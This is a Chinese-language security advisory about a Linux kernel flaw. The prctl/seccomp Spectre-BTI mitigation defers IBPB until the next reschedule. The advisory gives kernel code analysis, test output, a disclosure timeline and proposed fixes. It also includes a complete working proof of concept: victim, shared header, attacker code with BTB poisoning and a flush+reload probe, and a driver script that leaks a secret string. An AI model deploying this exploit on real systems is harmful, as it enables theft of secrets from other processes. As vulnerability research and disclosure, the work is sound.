José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
在测试 Spectre-BTI 攻击的成功率时,我们使用内核 API 作为缓解措施1时检测到一种异常模式。我们的测试表明,Linux 内核未能正确缓解攻击,导致进程在系统调用后短时间内仍处于暴露状态。
进一步调查显示,内核在系统调用期间并未立即发出 IBPB。ib_prctl_set2 函数更新任务的线程信息标志 (TIF) 并在 __speculation_ctrl_update 3 函数中更新 SPEC_CTRL MSR,但 IBPB 仅在下次调度时检查 TIF 位时才发出。这使得受害者在 prctl 系统调用之前注入 BTB 的值仍然容易受到攻击。只有在任务重新调度后,该行为才会得到纠正。此外,在默认场景下(即内核通过 retpoline 或 eIBRS 保护自身时),内核入口(由于系统调用本身)不会发出 IBPB。
使用以下命令执行 prctl 以缓解 spectre-BTI 攻击:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
在 5.15 内核中会调用 ib_prctl_set2 函数。当使用 SPEC_DISABLE 选项时,会设置 task_set_spec_ib_disable 的 TIF 位,并调用 task_update_spec_tif:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* 当缓解措施被强制禁用时,间接分支推测始终被允许。
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disable 调用 set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);,如果目标任务是当前任务,则调用 speculation_ctrl_update_current();
static void task_update_spec_tif(struct task_struct *tsk)
{
/* 强制更新真实的 TIF 位 */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* 立即更新当前任务的推测控制 MSR,
* 但对于非当前任务,延迟设置 CPU 缓解措施,
* 直到任务下次被调度。
*
* 这只可能发生在 SECCOMP 缓解措施中。对于 PRCTL,始终是当前任务。
*/
if (tsk == current)
speculation_ctrl_update_current();
}
speculation_ctrl_update_current 在 speculation_ctrl_update 包装器之后,执行 __speculation_ctrl_update,其中 tifp = ~tifp,这里执行了设置 STIBP 的 wrmsr 更新,但没有发出 IBPB:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* 根据缓解方法处理 TIF_SSBD 的变化。 */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* 仅当启用条件 STIBP 时,评估 TIF_SPEC_IB。 */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
seccomp 系统调用也使用 ib_prctl_set2 作为缓解措施,位于 arch_seccomp_spec_mitigate4 内部,因此使用 seccomp 时预期会有相同的结果。
虽然通过代码分析我们确信存在可利用的窗口,但尚不清楚该窗口是否足够大,以便受害者加载秘密信息且攻击者能够泄露它(因为预期在发出 prctl 调用之前秘密信息不在受害者地址空间中)。测试在具有硬件缓解措施支持的裸机机器上执行,安装了 ubuntu 22.04.1 LTS:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* 缓解技术的硬件支持(CPU 微码)
* 间接分支受限推测 (IBRS)
* SPEC_CTRL MSR 可用: 是
* CPU 指示 IBRS 能力: 是 (SPEC_CTRL 特性位)
* 间接分支预测屏障 (IBPB)
* CPU 指示 IBPB 能力: 是 (SPEC_CTRL 特性位)
* 单线程间接分支预测器 (STIBP)
* SPEC_CTRL MSR 可用: 是
* CPU 指示 STIBP 能力: 是 (Intel STIBP 特性位)
* 推测性存储绕过禁用 (SSBD)
测试代码由两个在同一个逻辑核心上执行的进程组成。攻击者不断地用受害者进程中一个 spectre 小工具的地址污染 BTB。受害者进程通过检查测试变量是否被 spectre 小工具函数访问来测量误预测率。这通常返回以下输出:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
然后,使用 PRCTL 来缓解攻击。可以通过在程序开头添加 prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); 来启用缓解措施。这应该能够缓解 spectre-BTI 攻击:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
然而,一些测试显示了不同的结果:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
改变 'nice'(优先级)似乎会影响误预测率:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
这表明 prctl 仅在下次调度后才保护进程,正如代码分析所理解的那样。该测试的另一个奇怪行为是,在错误分支之后,推测路径应该被纠正,并且真实值必须被写入 BTB。由于兄弟线程上没有其他攻击者重新污染 BTB,如此高的误预测值出乎意料。
为了确保这不是测量错误,我们创建了一个简单的 POC。受害者代码始终通过一个易受 spectre-BTI 攻击的函数指针执行 safe_function。受害者通过 prctl 系统调用(在 protect_me 内部)请求内核进行保护。受害者还从文本文件中加载一个秘密信息,表明其他系统调用也不会检查 TIF 位或触发强制 IBPB 的重新调度。
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//只调用 safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//调用 prctl 来保护此进程
protect_me();
//然后才将秘密信息加载到内存中
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//这些参数在 safe_function 中从未被使用,但它们匹配 spectre_gadget 的签名,而 spectre_gadget 不应该被调用
//由于已调用 prctl,攻击者不应该能够污染 BTB 并泄露秘密信息
spec(&sharedmem[2000], secret, idx);
}
}
大多数 libc 函数被放在攻击者和受害者的公共头文件中,这样 spectre_gadget 和 spec 函数在受害者和攻击者中共享相同的内存地址(否则会创建 .GOT 条目,地址会改变)。这不是必需的,还有其他方法可以将分支放在相同地址并模仿受害者上下文,但这种方法更简单。
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// 此函数什么也不做。始终被受害者调用
void safe_function(char *a, char *b, unsigned idx)
{
}
// 此函数永远不会被受害者调用
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// 辅助函数,可能不是必需的,但使测试更容易
void flush(char *adrs)
{
asm volatile(
"clflush [%0] \n"
:
: "c"(adrs)
:);
}
// 此函数易受 spectre-BTI 攻击。
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// 打开文件为只读内存,用作侧信道,但可以是任何其他 COW 文件,例如 libc
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// 确保页面在内存中
volatile char d = res[2100];
return res;
}
// 从文件中加载秘密信息
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// 调用 prctl 保护用户免受 spectre-BTI 攻击 - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000); //不是必需的,但会重置调度器上的可用时间
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}
// 实用函数。所有实用函数都放在公共文件中,以便 spec 函数在受害者和攻击者中具有相同的地址。这不是必需的,但使测试更容易
unsigned string_to_unsigned(char *s)
{
return atoi(s);
}
攻击包括通过调用 spec 函数并使其分支到 spectre_gadget 而不是 safe_function 来污染 BTB。在训练之后,创建受害者进程,它执行 spec 并误预测到 spectre_gadget,而该函数本不应被执行。秘密信息通过经典的 flush+reload 侧信道泄露。
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
#define PRINTNUM 1000
unsigned probe(char *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" mov esi, eax \n"
" mov eax,[%1] \n"
" lfence \n"
" rdtsc \n"
" sub eax, esi \n"
" clflush [%1] \n"
" mfence \n"
" lfence \n"
: "=a"(time)
: "c"(adrs)
: "%esi", "%edx");
return time;
}
int main(int argc, char *argv[])
{
//让 spec 函数将 safe_function 与 spectre_gadget 混淆
codePtr = spectre_gadget;
char dummy;
int hits = 0;
int tries = 0;
char *sharedmem = open_shared_mem();
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
//在 BTB 中注入目标
spec(&dummy, &dummy, 0);
//让受害者执行并误预测到 spectre_gadget
usleep(1);
//探测 1 位 flush+reload 侧信道
if (probe((char *)&sharedmem[2000]) < 0x90)
{
printf("+");
}
}
}
由于受害者接收一个参数,该参数可用于选择通过侧信道泄露的位,我们可以在攻击者执行时多次运行受害者进程:
taskset -c 0 ./attacker >> result.txt &
for i in {0..144}
do
echo "Leaking bit $i... "
echo -e -n "Leaking bit $i: " >> result.txt
sleep .01
for j in {0..10}
do
taskset -c 0 ./victim $i >/dev/null
done
echo "" >> result.txt
done
python3 parseResult.py
make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)
这会产生以下文本文件:
Leaking bit 0: +++++++++++
Leaking bit 1:
Leaking bit 2:
Leaking bit 3:
Leaking bit 4:
Leaking bit 5:
Leaking bit 6: ++++++++++
Leaking bit 7:
Leaking bit 8: ++++++++
[...]
注意,位 0 和位 6 为 1,因此第一个字符必须是 0x41(A)。
使用简单的 Python 脚本解析该文件显示:
泄露的秘密信息是: b'Asuper_secret_flag'
这正是受害者使用的 secret.txt 中的内容。
在加载秘密信息后将 prctl 调用改为使用 seccomp:syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); 并不能阻止攻击。这是预期行为,因为两者内部都使用相同的 ib_prctl_set 函数来实现缓解措施。
当前 prctl 系统调用用于推测控制的实现未能保护用户免受在缓解措施之前执行的攻击者的侵害。seccomp 缓解措施在此场景下同样失败。
对于用户态应用程序,在 prctl 调用之后执行 usleep 足以强制重新调度并确保正确的缓解措施。一种可能的内核补丁方案是在设置 STIBP 的同时在 __speculation_ctrl_update 3 中发出 IBPB,或者调用 schedule()。
2022 年 12 月 27 日 - 检测到 prctl 的异常行为
2022 年 12 月 29 日 - 本文档的第一版
2022 年 12 月 31 日 - 与 Linux 内核安全团队分享
2023 年 2 月 2 日 - 报告公开披露:https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8
“Linux 内核用户空间 API 指南:推测控制”。链接:https://docs.kernel.org/userspace-api/spec_ctrl.html ↩
“Linux 源代码” 链接: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3
“Linux 源代码” 链接: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2
“Linux 源代码” 链接: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩